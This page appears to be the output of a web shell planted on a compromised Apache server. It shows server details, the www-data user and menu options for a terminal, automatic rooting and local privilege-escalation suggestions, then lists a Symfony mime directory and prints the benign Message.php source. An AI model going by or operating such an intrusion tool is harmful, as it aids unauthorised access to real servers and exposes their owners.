Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
mime /
Delete
Unzip
Name
Size
Permission
Date
Action
Crypto
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
DependencyInjection
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Encoder
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Exception
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Header
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
HtmlToTextConverter
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Part
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Resources
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
Address.php
3.63
KB
-rwxrwxr-x
2026-03-30 09:31
BodyRendererInterface.php
418
B
-rwxrwxr-x
2026-03-30 09:31
CHANGELOG.md
935
B
-rwxrwxr-x
2026-03-30 09:31
CharacterStream.php
9.15
KB
-rwxrwxr-x
2026-03-30 09:31
DraftEmail.php
1.1
KB
-rwxrwxr-x
2026-03-30 09:31
Email.php
15.33
KB
-rwxrwxr-x
2026-03-30 09:31
FileBinaryMimeTypeGuesser.php
2.18
KB
-rwxrwxr-x
2026-03-30 09:31
FileinfoMimeTypeGuesser.php
1.75
KB
-rwxrwxr-x
2026-03-30 09:31
LICENSE
1.04
KB
-rwxrwxr-x
2026-03-30 09:31
Message.php
4.59
KB
-rwxrwxr-x
2026-03-30 09:31
MessageConverter.php
5.04
KB
-rwxrwxr-x
2026-03-30 09:31
MimeTypeGuesserInterface.php
826
B
-rwxrwxr-x
2026-03-30 09:31
MimeTypes.php
195.72
KB
-rwxrwxr-x
2026-03-30 09:31
MimeTypesInterface.php
777
B
-rwxrwxr-x
2026-03-30 09:31
README.md
459
B
-rwxrwxr-x
2026-03-30 09:31
RawMessage.php
2.63
KB
-rwxrwxr-x
2026-03-30 09:31
composer.json
1.49
KB
-rwxrwxr-x
2026-03-30 09:31
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\LogicException; use Symfony\Component\Mime\Header\Headers; use Symfony\Component\Mime\Part\AbstractPart; use Symfony\Component\Mime\Part\TextPart; /** * @author Fabien Potencier <fabien@symfony.com> */ class Message extends RawMessage { private Headers $headers; private ?AbstractPart $body; public function __construct(?Headers $headers = null, ?AbstractPart $body = null) { $this->headers = $headers ? clone $headers : new Headers(); $this->body = $body; } public function __clone() { $this->headers = clone $this->headers; if (null !== $this->body) { $this->body = clone $this->body; } } /** * @return $this */ public function setBody(?AbstractPart $body = null): static { if (1 > \func_num_args()) { trigger_deprecation('symfony/mime', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->body = $body; return $this; } public function getBody(): ?AbstractPart { return $this->body; } /** * @return $this */ public function setHeaders(Headers $headers): static { $this->headers = $headers; return $this; } public function getHeaders(): Headers { return $this->headers; } public function getPreparedHeaders(): Headers { $headers = clone $this->headers; if (!$headers->has('From')) { if (!$headers->has('Sender')) { throw new LogicException('An email must have a "From" or a "Sender" header.'); } $headers->addMailboxListHeader('From', [$headers->get('Sender')->getAddress()]); } if (!$headers->has('MIME-Version')) { $headers->addTextHeader('MIME-Version', '1.0'); } if (!$headers->has('Date')) { $headers->addDateHeader('Date', new \DateTimeImmutable()); } // determine the "real" sender if (!$headers->has('Sender') && \count($froms = $headers->get('From')->getAddresses()) > 1) { $headers->addMailboxHeader('Sender', $froms[0]); } if (!$headers->has('Message-ID')) { $headers->addIdHeader('Message-ID', $this->generateMessageId()); } // remove the Bcc field which should NOT be part of the sent message $headers->remove('Bcc'); return $headers; } public function toString(): string { if (null === $body = $this->getBody()) { $body = new TextPart(''); } return $this->getPreparedHeaders()->toString().$body->toString(); } public function toIterable(): iterable { if (null === $body = $this->getBody()) { $body = new TextPart(''); } yield $this->getPreparedHeaders()->toString(); yield from $body->toIterable(); } /** * @return void */ public function ensureValidity() { if (!$this->headers->get('To')?->getBody() && !$this->headers->get('Cc')?->getBody() && !$this->headers->get('Bcc')?->getBody()) { throw new LogicException('An email must have a "To", "Cc", or "Bcc" header.'); } if (!$this->headers->get('From')?->getBody() && !$this->headers->get('Sender')?->getBody()) { throw new LogicException('An email must have a "From" or a "Sender" header.'); } parent::ensureValidity(); } public function generateMessageId(): string { if ($this->headers->has('Sender')) { $sender = $this->headers->get('Sender')->getAddress(); } elseif ($this->headers->has('From')) { if (!$froms = $this->headers->get('From')->getAddresses()) { throw new LogicException('A "From" header must have at least one email address.'); } $sender = $froms[0]; } else { throw new LogicException('An email must have a "From" or a "Sender" header.'); } return bin2hex(random_bytes(16)).strstr($sender->getAddress(), '@'); } public function __serialize(): array { return [$this->headers, $this->body]; } public function __unserialize(array $data): void { [$this->headers, $this->body] = $data; } }